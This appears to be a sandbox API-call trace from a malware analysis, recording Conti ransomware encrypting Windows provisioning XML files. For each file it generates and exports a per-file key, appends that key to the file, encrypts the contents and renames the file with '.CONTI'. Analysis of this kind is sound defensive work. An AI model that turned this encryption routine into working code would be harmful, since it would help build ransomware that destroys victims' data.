	[0107.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0107.130] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.130] SetEndOfFile (hFile=0x398) returned 1
	[0107.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.130] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.130] WriteFile (in: hFile=0x398, lpBuffer=0x6515bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x6515bec*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.132] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.132] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2ca, lpOverlapped=0x0) returned 1
	[0107.132] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2ca, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d0) returned 1
	[0107.132] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.132] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.133] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.133] WriteFile (in: hFile=0x398, lpBuffer=0x6515be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x6515be0*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.133] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.133] CloseHandle (hObject=0x398) returned 1
	[0107.133] GetProcessHeap () returned 0x1720000
	[0107.133] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.133] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml"
	[0107.133] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.133] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.134] GetProcessHeap () returned 0x1720000
	[0107.134] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.134] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0107.134] GetProcessHeap () returned 0x1720000
	[0107.134] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b5e8 | out: hHeap=0x1720000) returned 1
	[0107.134] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.134] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x6514e38 | out: phKey=0x6514e38*=0x17c82b0) returned 1
	[0107.134] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514e3c, pdwDataLen=0x5affca4 | out: pbData=0x6514e3c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.135] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.135] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.135] GetLastError () returned 0x0
	[0107.135] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=864) returned 1
	[0107.135] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x360
	[0107.136] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.136] SetEndOfFile (hFile=0x398) returned 1
	[0107.136] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.136] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.136] WriteFile (in: hFile=0x398, lpBuffer=0x6514e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x6514e3c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.138] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.138] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x360, lpOverlapped=0x0) returned 1
	[0107.138] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x360, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x370) returned 1
	[0107.138] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.138] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x370, lpOverlapped=0x0) returned 1
	[0107.138] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.138] WriteFile (in: hFile=0x398, lpBuffer=0x6514e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x6514e30*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.138] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.138] CloseHandle (hObject=0x398) returned 1
	[0107.138] GetProcessHeap () returned 0x1720000
	[0107.138] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.138] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml"
	[0107.138] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.139] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.139] GetProcessHeap () returned 0x1720000
	[0107.139] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.139] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0107.139] GetProcessHeap () returned 0x1720000
	[0107.139] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bcbc8 | out: hHeap=0x1720000) returned 1
	[0107.139] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.139] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x6515080 | out: phKey=0x6515080*=0x17c85b0) returned 1
	[0107.139] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515084, pdwDataLen=0x5affca4 | out: pbData=0x6515084*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.140] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0107.140] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.141] GetLastError () returned 0x0
	[0107.141] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=480) returned 1
	[0107.141] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0107.141] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.141] SetEndOfFile (hFile=0x398) returned 1
	[0107.141] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.141] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.142] WriteFile (in: hFile=0x398, lpBuffer=0x6515084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x6515084*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.143] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.143] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x1e0, lpOverlapped=0x0) returned 1
	[0107.143] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1e0, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x1f0) returned 1
	[0107.143] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.143] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x1f0, lpOverlapped=0x0) returned 1
	[0107.144] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.144] WriteFile (in: hFile=0x398, lpBuffer=0x6515078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x6515078*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.144] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.144] CloseHandle (hObject=0x398) returned 1
	[0107.144] GetProcessHeap () returned 0x1720000
	[0107.144] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.144] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.144] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0107.144] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0107.145] GetProcessHeap () returned 0x1720000
	[0107.145] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.145] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.145] GetProcessHeap () returned 0x1720000
	[0107.145] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bcd18 | out: hHeap=0x1720000) returned 1
	[0107.145] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x5affcd0, lpCompletionKey=0x5affcd4, lpOverlapped=0x5affce0) returned 1
	[0107.145] CryptGenKey (in: hProv=0x176b710, Algid=0x6610, dwFlags=0x1, phKey=0x6514088 | out: phKey=0x6514088*=0x17c8330) returned 1
	[0107.145] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e870, dwBlobType=0x1, dwFlags=0x0, pbData=0x651408c, pdwDataLen=0x5affca4 | out: pbData=0x651408c*, pdwDataLen=0x5affca4*=0x20c) returned 1
	[0107.146] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.146] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0107.146] GetLastError () returned 0x0
	[0107.146] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x5affc50 | out: lpFileSize=0x5affc50*=715) returned 1
	[0107.146] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0107.146] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.146] SetEndOfFile (hFile=0x398) returned 1
	[0107.147] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.147] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.147] WriteFile (in: hFile=0x398, lpBuffer=0x651408c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x5affc5c, lpOverlapped=0x0 | out: lpBuffer=0x651408c*, lpNumberOfBytesWritten=0x5affc5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.819] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.819] ReadFile (in: hFile=0x398, lpBuffer=0x11710000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x5affc7c, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesRead=0x5affc7c*=0x2cb, lpOverlapped=0x0) returned 1
	[0107.819] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2cb, dwBufLen=0x500000 | out: pbData=0x11710000*, pdwDataLen=0x5affc74*=0x2d0) returned 1
	[0107.819] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.819] WriteFile (in: hFile=0x398, lpBuffer=0x11710000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x5affc90, lpOverlapped=0x0 | out: lpBuffer=0x11710000*, lpNumberOfBytesWritten=0x5affc90*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.819] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.819] WriteFile (in: hFile=0x398, lpBuffer=0x6514080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x5affca8, lpOverlapped=0x0 | out: lpBuffer=0x6514080*, lpNumberOfBytesWritten=0x5affca8*=0x8, lpOverlapped=0x0) returned 1
	[0107.823] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.823] CloseHandle (hObject=0x398) returned 1
	[0107.823] GetProcessHeap () returned 0x1720000
	[0107.823] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.823] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml"
	[0107.823] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.CONTI"
